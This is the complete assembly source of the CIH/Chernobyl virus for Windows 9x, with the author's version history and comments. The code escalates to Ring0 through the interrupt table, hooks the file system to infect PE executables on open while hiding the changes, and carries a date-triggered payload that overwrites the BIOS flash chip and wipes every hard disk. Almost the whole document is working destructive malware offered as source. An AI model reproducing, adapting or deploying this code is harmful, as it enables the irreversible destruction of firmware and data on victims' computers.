CIH v1.4病毒源程序****************************************************************************; * The Virus Program Information *; ****************************************************************************; * *; * Designer : CIH Source : TTIT of TATUNG in Taiwan *; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *; * Modification Time : 06/01/1998 Version : 1.5 *; * *; * Turbo Assembler Version 5.0 : Tasm /m cih *; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe *; * *; *==========================================================================*; * Modification History *; *==========================================================================*; * v1.0 1. Create the Virus Program. *; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *; * 04/26/1998 3. Virus Code doesn't Reload into System. *; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *; * 6. When System Opens Existing PE File, the File will be *; * Infected, and the File doesn't be Reinfected. *; * 7. It is also Infected, even the File is Read-Only. *; * 8. When the File is Infected, the Modification Date and Time *; * of the File also don't be Changed. *; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *; * Previous FileSystemApiHook, it will Call the Function *; * that the IFS Manager Would Normally Call to Implement *; * this Particular I/O Request. *; * 10. The Virus Size is only 656 Bytes. *; *==========================================================================*; * v1.1 1. Especially, the File that be Infected will not Increase *; * it's Size... ^__^ *; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *; * When Exception Error Occurs, Our OS System should be in *; * Windows NT. So My Cute Virus will not Continue to Run, *; * it will Jmup to Original Application to Run. *; * 3. Use Better Algorithm, Reduce Virus Code Size. *; * 4. The Virus "Basic" Size is only 796 Bytes. *; *==========================================================================*; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *; * 2. Modify the Bug of v1.1 *; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *; *==========================================================================*; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *; * So When Open WinZip Self-Extractor ==> Don't Infect it. *; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *; *==========================================================================*; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *; * 2. Change the Date of Killing Computers. *; * 05/31/1998 3. Modify Virus Version Copyright. *; * 4. The Virus "Basic" Size is 1019 Bytes. *; ****************************************************************************; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port *; * 2. Modify Virus Version Copyright. *; * 06/01/1998 3. Clear Garbage in Source Code. *; * 4. The Virus "Small" Size in 10xx Bytes. *; **************************************************************************** .586; ****************************************************************************; * Original PE Executable File(Don't Modify this Section) *; ****************************************************************************OriginalAppEXE SEGMENTFileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdd 00000000h, VirusSizeOriginalAppEXE ENDS; ****************************************************************************; * My Virus Game *; ****************************************************************************; *********************************************************; * Constant Define *; *********************************************************TRUE = 1FALSE = 0DEBUG = TRUEIF DEBUG FirstKillHardDiskNumber = 82h HookExceptionNumber = 06hELSE FirstKillHardDiskNumber = 81h HookExceptionNumber = 04hENDIFFileNameBufferSize = 7fh; *********************************************************; *********************************************************VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame; *********************************************************; * Ring3 Virus Game Initial Program *; *********************************************************MyVirusStart:push ebp; *************************************; * Let's Modify Structured Exception *; * Handing, Prevent Exception Error *; * Occurrence, Especially in NT. *; *************************************lea eax, [esp-04h*2]xor ebx, ebxxchg eax, fs:[ebx]call @0@0:pop ebxlea ecx, StopToRunVirusCode-@0[ebx]push ecxpush eax; *************************************; * Let's Modify *; * IDT(Interrupt Descriptor Table) *; * to Get Ring0 Privilege... *; *************************************push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx]push esimov [ebx-04h], si ;shr esi, 16 ; Modify Exceptionmov [ebx+02h], si ; Entry Point Addresspop esi; *************************************; * Generate Exception to Get Ring0 *; *************************************int HookExceptionNumber ; GenerateExceptionReturnAddressOfEndException = $; *************************************; * Merge All Virus Code Section *; *************************************push esimov esi, eaxLoopOfMergeAllVirusCodeSection:mov ecx, [eax-04h]rep movsbsub eax, 08hmov esi, [eax]or esi, esijz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmp LoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:pop esi; *************************************; * Generate Exception Again *; *************************************int HookExceptionNumber ; GenerateException Again; *************************************; * Let's Restore *; * Structured Exception Handing *; *************************************ReadyRestoreSE:stixor ebx, ebxjmp RestoreSE; *************************************; * When Exception Error Occurs, *; * Our OS System should be in NT. *; * So My Cute Virus will not *; * Continue to Run, it Jmups to *; * Original Application to Run. *; *************************************StopToRunVirusCode:@1 = StopToRunVirusCodexor ebx, ebxmov eax, fs:[ebx]mov esp, [eax]RestoreSE:pop dword ptr fs:[ebx]pop eax; *************************************; * Return Original App to Execute *; *************************************pop ebp push 00401000h ; Push OriginalOriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point; *********************************************************; * Ring0 Virus Game Initial Program *; *********************************************************MyExceptionHook:@2 = MyExceptionHookjz InstallMyFileSystemApiHook; *************************************; * Do My Virus Exist in System !? *; *************************************mov ecx, dr0jecxz AllocateSystemMemoryPageadd dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException; *************************************; * Return to Ring3 Initial Program *; *************************************ExitRing0Init:mov [ebx-04h], bp ;shr ebp, 16 ; Restore Exceptionmov [ebx+02h], bp ;iretd; *************************************; * Allocate SystemMemory Page to Use *; *************************************AllocateSystemMemoryPage:mov dr0, ebx ; Set the Mark of My Virus Exist in Systempush 00000000fh ;push ecx ;push 0ffffffffh ;push ecx ;push ecx ;push ecx ;push 000000001h ;push 000000002h ;int 20h ; VMMCALL _PageAllocate_PageAllocate = $ ;dd 00010053h ; Use EAX, ECX, EDX, and flagsadd esp, 08h*04hxchg edi, eax ; EDI = SystemMemory Start Addresslea eax, MyVirusStart-@2[esi]iretd ; Return to Ring3 Initial Program; *************************************; * Install My File System Api Hook *; *************************************InstallMyFileSystemApiHook:lea eax, FileSystemApiHook-@6[edi]push eax ;int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHookIFSMgr_InstallFileSystemApiHook = $dd 00400067h ; Use EAX, ECX, EDX, and flagsmov dr0, eax ; Save OldFileSystemApiHook Addresspop eax ; EAX = FileSystemApiHook Address; Save Old IFSMgr_InstallFileSystemApiHook Entry Pointmov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]mov edx, [ecx]mov OldInstallFileSystemApiHook-@3[eax], edx; Modify IFSMgr_InstallFileSystemApiHook Entry Pointlea eax, InstallFileSystemApiHook-@3[eax]mov [ecx], eaxclijmp ExitRing0Init; *********************************************************; * Code Size of Merge Virus Code Section *; *********************************************************CodeSizeOfMergeVirusCodeSection = offset $; *********************************************************; * IFSMgr_InstallFileSystemApiHook *; *********************************************************InstallFileSystemApiHook:push ebxcall @4 ;@4: ;pop ebx ; mov ebx, offset FileSystemApiHookadd ebx, FileSystemApiHook-@4 ;push ebxint 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHookIFSMgr_RemoveFileSystemApiHook = $dd 00400068h ; Use EAX, ECX, EDX, and flagspop eax; Call Original IFSMgr_InstallFileSystemApiHook; to Link Client FileSystemApiHookpush dword ptr [esp+8]call OldInstallFileSystemApiHook-@3[ebx]pop ecxpush eax; Call Original IFSMgr_InstallFileSystemApiHook; to Link My FileSystemApiHookpush ebxcall OldInstallFileSystemApiHook-@3[ebx]pop ecxmov dr0, eax ; Adjust OldFileSystemApiHook Addresspop eaxpop ebxret; *********************************************************; * Static Data *; *********************************************************OldInstallFileSystemApiHook dd ?; *********************************************************; * IFSMgr_FileSystemHook *; *********************************************************; *************************************; * IFSMgr_FileSystemHook Entry Point *; *************************************FileSystemApiHook:@3 = FileSystemApiHookpushad call @5 ;@5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5; *************************************; * Is OnBusy !? *; *************************************test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )jnz pIFSFunc ; goto pIFSFunc; *************************************; * Is OpenFile !? *; *************************************; if ( NotOpenFile ); goto prevhooklea ebx, [esp+20h+04h+04h]cmp dword ptr [ebx], 00000024hjne prevhook; *************************************; * Enable OnBusy *; *************************************inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy; *************************************; * Get FilePath's DriveNumber, *; * then Set the DriveName to *; * FileNameBuffer. *; *************************************; * Ex. If DriveNumber is 03h, *; * DriveName is 'C:'. *; *************************************add esi, FileNameBuffer-@6push esimov al, [ebx+04h]cmp al, 0ffhje CallUniToBCSPathadd al, 40hmov ah, ':'mov [esi], eaxinc esiinc esi; *************************************; * UniToBCSPath *; *************************************; * This Service Converts *; * a Canonicalized Unicode Pathname *; * to a Normal Pathname in the *; * Specified BCS Character Set. *; *************************************CallUniToBCSPath:push 00000000hpush FileNameBufferSizemov ebx, [ebx+10h]mov eax, [ebx+0ch]add eax, 04hpush eaxpush esiint 20h ; VXDCall UniToBCSPathUniToBCSPath = $dd 00400041hadd esp, 04h*04h; *************************************; * Is FileName '.EXE' !? *; *************************************cmp [esi+eax-04h], 'EXE.'pop esijne DisableOnBusyIF DEBUG; *************************************; * Only for Debug *; *************************************cmp [esi+eax-06h], 'KCUF'jne DisableOnBusyENDIF; *************************************; * Is Open Existing File !? *; *************************************; if ( NotOpenExistingFile ); goto DisableOnBusycmp word ptr [ebx+18h], 01hjne DisableOnBusy; *************************************; * Get Attributes of the File *; *************************************mov ax, 4300hint 20h ; VXDCall IFSMgr_Ring0_FileIOIFSMgr_Ring0_FileIO = $dd 00400032hjc DisableOnBusypush ecx; *************************************; * Get IFSMgr_Ring0_FileIO Address *; *************************************mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]mov edi, [edi]; *************************************; * Is Read-Only File !? *; *************************************test cl, 01hjz OpenFile; *************************************; * Modify Read-Only File to Write *; *************************************mov ax, 4301hxor ecx, ecxcall edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Open File *; *************************************OpenFile:xor eax, eaxmov ah, 0d5hxor ecx, ecxxor edx, edxinc edxmov ebx, edxinc ebxcall edi ; VXDCall IFSMgr_Ring0_FileIOxchg ebx, eax ; mov ebx, FileHandle; *************************************; * Need to Restore *; * Attributes of the File !? *; *************************************pop ecxpushftest cl, 01hjz IsOpenFileOK; *************************************; * Restore Attributes of the File *; *************************************mov ax, 4301hcall edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Is Open File OK !? *; *************************************IsOpenFileOK:popfjc DisableOnBusy; *************************************; * Open File Already Succeed. ^__^ *; *************************************push esi ; Push FileNameBuffer Address to Stackpushf ; Now CF = 0, Push Flag to Stackadd esi, DataBuffer-@7 ; mov esi, offset DataBuffer; ***************************; * Get OffsetToNewHeader *; ***************************xor eax, eaxmov ah, 0d6h; For Doing Minimal VirusCode's Length,; I Save EAX to EBP.mov ebp, eaxpush 00000004hpop ecxpush 0000003chpop edxcall edi ; VXDCall IFSMgr_Ring0_FileIOmov edx, [esi]; ***************************; * Get 'PE\0' Signature *; * of ImageFileHeader, and *; * Infected Mark. *; ***************************dec edxmov eax, ebpcall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Is PE !? *; ***************************; * Is the File *; * Already Infected !? *; ***************************; * WinZip Self-Extractor *; * doesn't Have Infected *; * Mark Because My Virus *; * doesn't Infect it. *; ***************************cmp dword ptr [esi], 00455000hjne CloseFile; *************************************; * The File is ^o^ *; * PE(Portable Executable) indeed. *; *************************************; * The File isn't also Infected. *; *************************************; *************************************; * Start to Infect the File *; *************************************; * Registers Use Status Now : *; * *; * EAX = 04h *; * EBX = File Handle *; * ECX = 04h *; * EDX = 'PE\0\0' Signature of *; * ImageFileHeader Pointer's *; * Former Byte. *; * ESI = DataBuffer Address ==> @8 *; * EDI = IFSMgr_Ring0_FileIO Address *; * EBP = D600h ==> Read Data in File *; *************************************; * Stack Dump : *; * *; * ESP => ------------------------- *; * | EFLAG(CF=0) | *; * ------------------------- *; * | FileNameBufferPointer | *; * ------------------------- *; * | EDI | *; * ------------------------- *; * | ESI | *; * ------------------------- *; * | EBP | *; * ------------------------- *; * | ESP | *; * ------------------------- *; * | EBX | *; * ------------------------- *; * | EDX | *; * ------------------------- *; * | ECX | *; * ------------------------- *; * | EAX | *; * ------------------------- *; * | Return Address | *; * ------------------------- *; *************************************push ebx ; Save File Handlepush 00h ; Set VirusCodeSectionTableEndMark; ***************************; * Let's Set the *; * Virus' Infected Mark *; ***************************push 01h ; Sizepush edx ; Pointer of Filepush edi ; Address of Buffer; ***************************; * Save ESP Register *; ***************************mov dr1, esp; ***************************; * Let's Set the *; * NewAddressOfEntryPoint *; * ( Only First Set Size ) *; ***************************push eax ; Size; ***************************; * Let's Read *; * Image Header in File *; ***************************mov eax, ebpmov cl, SizeOfImageHeaderToReadadd edx, 07h ; Move EDX to NumberOfSectionscall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Let's Set the *; * NewAddressOfEntryPoint *; * ( Set Pointer of File, *; * Address of Buffer ) *; ***************************lea eax, (AddressOfEntryPoint-@8)[edx]push eax ; Pointer of Filelea eax, (NewAddressOfEntryPoint-@8)[esi]push eax ; Address of Buffer; ***************************; * Move EDX to the Start *; * of SectionTable in File *; ***************************movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]lea edx, [eax+edx+12h]; ***************************; * Let's Get *; * Total Size of Sections *; ***************************mov al, SizeOfScetionTable; I Assume NumberOfSections <= 0ffhmov cl, (NumberOfSections-@8)[esi]mul cl; ***************************; * Let's Set Section Table *; ***************************; Move ESI to the Start of SectionTablelea esi, (StartOfSectionTable-@8)[esi]push eax ; Sizepush edx ; Pointer of Filepush esi ; Address of Buffer; ***************************; * The Code Size of Merge *; * Virus Code Section and *; * Total Size of Virus *; * Code Section Table Must *; * be Small or Equal the *; * Unused Space Size of *; * Following Section Table *; ***************************inc ecxpush ecx ; Save NumberOfSections+1shl ecx, 03hpush ecx ; Save TotalSizeOfVirusCodeSectionTableadd ecx, eaxadd ecx, edxsub ecx, (SizeOfHeaders-@9)[esi]not ecxinc ecx; Save My Virus First Section Code; Size of Following Section Table...; ( Not Include the Size of Virus Code Section Table )push ecxxchg ecx, eax ; ECX = Size of Section Table; Save Original Address of Entry Pointmov eax, (AddressOfEntryPoint-@9)[esi]add eax, (ImageBase-@9)[esi]mov (OriginalAddressOfEntryPoint-@9)[esi], eaxcmp word ptr [esp], small CodeSizeOfMergeVirusCodeSectionjl OnlySetInfectedMark; ***************************; * Read All Section Tables *; ***************************mov eax, ebpcall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Full Modify the Bug : *; * WinZip Self-Extractor *; * Occurs Error... *; ***************************; * So When User Opens *; * WinZip Self-Extractor, *; * Virus Doesn't Infect it.*; ***************************; * First, Virus Gets the *; * PointerToRawData in the *; * Second Section Table, *; * Reads the Section Data, *; * and Tests the String of *; * 'WinZip(R)'...... *; ***************************xchg eax, ebppush 00000004hpop ecxpush edxmov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]add edx, 12hcall edi ; VXDCall IFSMgr_Ring0_FileIO cmp dword ptr [esi], 'piZniW'je NotSetInfectedMarkpop edx; ***************************; * Let's Set Total Virus *; * Code Section Table *; ***************************; EBX = My Virus First Section Code; Size of Following Section Tablepop ebxpop edi ; EDI = TotalSizeOfVirusCodeSectionTablepop ecx ; ECX = NumberOfSections+1push edi ; Sizeadd edx, ebppush edx ; Pointer of Fileadd ebp, esipush ebp ; Address of Buffer; ***************************; * Set the First Virus *; * Code Section Size in *; * VirusCodeSectionTable *; ***************************lea eax, [ebp+edi-04h]mov [eax], ebx; ***************************; * Let's Set My Virus *; * First Section Code *; ***************************push ebx ; Sizeadd edx, edipush edx ; Pointer of Filelea edi, (MyVirusStart-@9)[esi]push edi ; Address of Buffer; ***************************; * Let's Modify the *; * AddressOfEntryPoint to *; * My Virus Entry Point *; ***************************mov (NewAddressOfEntryPoint-@9)[esi], edx; ***************************; * Setup Initial Data *; ***************************lea edx, [esi-SizeOfScetionTable]mov ebp, offset VirusSizejmp StartToWriteCodeToSections; ***************************; * Write Code to Sections *; ***************************LoopOfWriteCodeToSections:add edx, SizeOfScetionTablemov ebx, (SizeOfRawData-@9)[edx]sub ebx, (VirtualSize-@9)[edx]jbe EndOfWriteCodeToSectionspush ebx ; Sizesub eax, 08hmov [eax], ebxmov ebx, (PointerToRawData-@9)[edx]add ebx, (VirtualSize-@9)[edx]push ebx ; Pointer of Filepush edi ; Address of Buffermov ebx, (VirtualSize-@9)[edx]add ebx, (VirtualAddress-@9)[edx]add ebx, (ImageBase-@9)[esi]mov [eax+4], ebxmov ebx, [eax]add (VirtualSize-@9)[edx], ebx; Section contains initialized data ==> 00000040h; Section can be Read. ==> 40000000hor (Characteristics-@9)[edx], 40000040hStartToWriteCodeToSections:sub ebp, ebxjbe SetVirusCodeSectionTableEndMarkadd edi, ebx ; Move Address of BufferEndOfWriteCodeToSections:loop LoopOfWriteCodeToSections; ***************************; * Only Set Infected Mark *; ***************************OnlySetInfectedMark:mov esp, dr1jmp WriteVirusCodeToFile; ***************************; * Not Set Infected Mark *; ***************************NotSetInfectedMark:add esp, 3chjmp CloseFile; ***************************; * Set Virus Code *; * Section Table End Mark *; ***************************SetVirusCodeSectionTableEndMark:; Adjust Size of Virus Section Code to Correct Valueadd [eax], ebpadd [esp+08h], ebp; Set End Markxor ebx, ebxmov [eax-04h], ebx; ***************************; * When VirusGame Calls *; * VxDCall, VMM Modifies *; * the 'int 20h' and the *; * 'Service Identifier' *; * to 'Call [XXXXXXXX]'. *; ***************************; * Before Writing My Virus *; * to File, I Must Restore *; * them First. ^__^ *; ***************************lea eax, (LastVxDCallAddress-2-@9)[esi]mov cl, VxDCallTableSizeLoopOfRestoreVxDCallID:mov word ptr [eax], 20cdhmov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]mov [eax+2], edxmovzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]sub eax, edxloop LoopOfRestoreVxDCallID; ***************************; * Let's Write *; * Virus Code to the File *; ***************************WriteVirusCodeToFile:mov eax, dr1mov ebx, [eax+10h]mov edi, [eax]LoopOfWriteVirusCodeToFile:pop ecxjecxz SetFileModificationMarkmov esi, ecxmov eax, 0d601hpop edxpop ecxcall edi ; VXDCall IFSMgr_Ring0_FileIOjmp LoopOfWriteVirusCodeToFile; ***************************; * Let's Set CF = 1 ==> *; * Need to Restore File *; * Modification Time *; ***************************SetFileModificationMark:pop ebxpop eaxstc ; Enable CF(Carry Flag)pushf; *************************************; * Close File *; *************************************CloseFile:xor eax, eaxmov ah, 0d7hcall edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Need to Restore File Modification *; * Time !? *; *************************************popfpop esijnc IsKillComputer; *************************************; * Restore File Modification Time *; *************************************mov ebx, edimov ax, 4303hmov ecx, (FileModificationTime-@7)[esi]mov edi, (FileModificationTime+2-@7)[esi]call ebx ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Disable OnBusy *; *************************************DisableOnBusy:dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy; *************************************; * Call Previous FileSystemApiHook *; *************************************prevhook:popadmov eax, dr0 ;jmp [eax] ; Jump to prevhook; *************************************; * Call the Function that the IFS *; * Manager Would Normally Call to *; * Implement this Particular I/O *; * Request. *; *************************************pIFSFunc:mov ebx, esppush dword ptr [ebx+20h+04h+14h] ; Push pioreqcall [ebx+20h+04h] ; Call pIFSFuncpop ecx ;mov [ebx+1ch], eax ; Modify EAX Value in Stack; ***************************; * After Calling pIFSFunc, *; * Get Some Data from the *; * Returned pioreq. *; ***************************cmp dword ptr [ebx+20h+04h+04h], 00000024hjne QuitMyVirusFileSystemHook; *****************; * Get the File *; * Modification *; * Date and Time *; * in DOS Format.*; *****************mov eax, [ecx+28h]mov (FileModificationTime-@6)[esi], eax; ***************************; * Quit My Virus' *; * IFSMgr_FileSystemHook *; ***************************QuitMyVirusFileSystemHook:popadret; *************************************; * Kill Computer !? ... *^_^* *; *************************************IsKillComputer:; Get Now Day from BIOS CMOSmov al, 07hout 70h, alin al, 71h xor al, 01h ; ??/26/????IF DEBUGjmp DisableOnBusyELSEjnz DisableOnBusyENDIF; **************************************; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; **************************************; ***************************; * Kill BIOS EEPROM *; ***************************mov bp, 0cf8hlea esi, IOForEEPROM-@7[esi]; ***********************; * Show BIOS Page in *; * 000E0000 - 000EFFFF *; * ( 64 KB ) *; ***********************mov edi, 8000384chmov dx, 0cfehclicall esi; ***********************; * Show BIOS Page in *; * 000F0000 - 000FFFFF *; * ( 64 KB ) *; ***********************mov di, 0058hdec edx ; and al,0fhmov word ptr (BooleanCalculateCode-@10)[esi], 0f24hcall esi; ***********************; * Show the BIOS Extra *; * ROM Data in Memory *; * 000E0000 - 000E01FF *; * ( 512 Bytes ) *; * , and the Section *; * of Extra BIOS can *; * be Writted... *; ***********************lea ebx, EnableEEPROMToWrite-@10[esi]mov eax, 0e5555hmov ecx, 0e2aaahcall ebxmov byte ptr [eax], 60hpush ecxloop $; ***********************; * Kill the BIOS Extra *; * ROM Data in Memory *; * 000E0000 - 000E007F *; * ( 80h Bytes ) *; ***********************xor ah, ahmov [eax], alxchg ecx, eaxloop $; ***********************; * Show and Enable the *; * BIOS Main ROM Data *; * 000E0000 - 000FFFFF *; * ( 128 KB ) *; * can be Writted... *; ***********************mov eax, 0f5555hpop ecxmov ch, 0aahcall ebxmov byte ptr [eax], 20hloop $; ***********************; * Kill the BIOS Main *; * ROM Data in Memory *; * 000FE000 - 000FE07F *; * ( 80h Bytes ) *; ***********************mov ah, 0e0hmov [eax], al; ***********************; * Hide BIOS Page in *; * 000F0000 - 000FFFFF *; * ( 64 KB ) *; ***********************; or al,10hmov word ptr (BooleanCalculateCode-@10)[esi], 100chcall esi; ***************************; * Kill All HardDisk *; ***************************************************; * IOR Structure of IOS_SendCommand Needs *; ***************************************************; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *; ***************************************************KillHardDisk:xor ebx, ebxmov bh, FirstKillHardDiskNumberpush ebxsub esp, 2chpush 0c0001000hmov bh, 08hpush ebxpush ecxpush ecxpush ecxpush 40000501hinc ecxpush ecxpush ecxmov esi, espsub esp, 0achLoopOfKillHardDisk:int 20hdd 00100004h ; VXDCall IOS_SendCommandcmp word ptr [esi+06h], 0017hje KillNextDataSectionChangeNextHardDisk:inc byte ptr [esi+4dh]jmp LoopOfKillHardDiskKillNextDataSection:add dword ptr [esi+10h], ebxmov byte ptr [esi+4dh], FirstKillHardDiskNumberjmp LoopOfKillHardDisk; ***************************; * Enable EEPROM to Write *; ***************************EnableEEPROMToWrite:mov [eax], clmov [ecx], almov byte ptr [eax], 80hmov [eax], clmov [ecx], alret; ***************************; * IO for EEPROM *; ***************************IOForEEPROM:@10 = IOForEEPROMxchg eax, edixchg edx, ebpout dx, eaxxchg eax, edixchg edx, ebpin al, dxBooleanCalculateCode = $or al, 44hxchg eax, edixchg edx, ebpout dx, eaxxchg eax, edixchg edx, ebpout dx, alret; *********************************************************; * Static Data *; *********************************************************LastVxDCallAddress = IFSMgr_Ring0_FileIOVxDCallAddressTable db 00hdb IFSMgr_RemoveFileSystemApiHook-_PageAllocatedb UniToBCSPath-IFSMgr_RemoveFileSystemApiHookdb IFSMgr_Ring0_FileIO-UniToBCSPathVxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032hVxDCallTableSize = ($-VxDCallIDTable)/04h; *********************************************************; * Virus Version Copyright *; *********************************************************VirusVersionCopyright db 'WinCIH ver 1.5 by TATUNG, Thailand'; *********************************************************; * Virus Size *; *********************************************************VirusSize = $; + SizeOfVirusCodeSectionTableEndMark(04h); + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h); + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************; * Dynamic Data *; *********************************************************VirusGameDataStartAddress = VirusSize@6 = VirusGameDataStartAddressOnBusy db 0FileModificationTime dd ?FileNameBuffer db FileNameBufferSize dup(?)@7 = 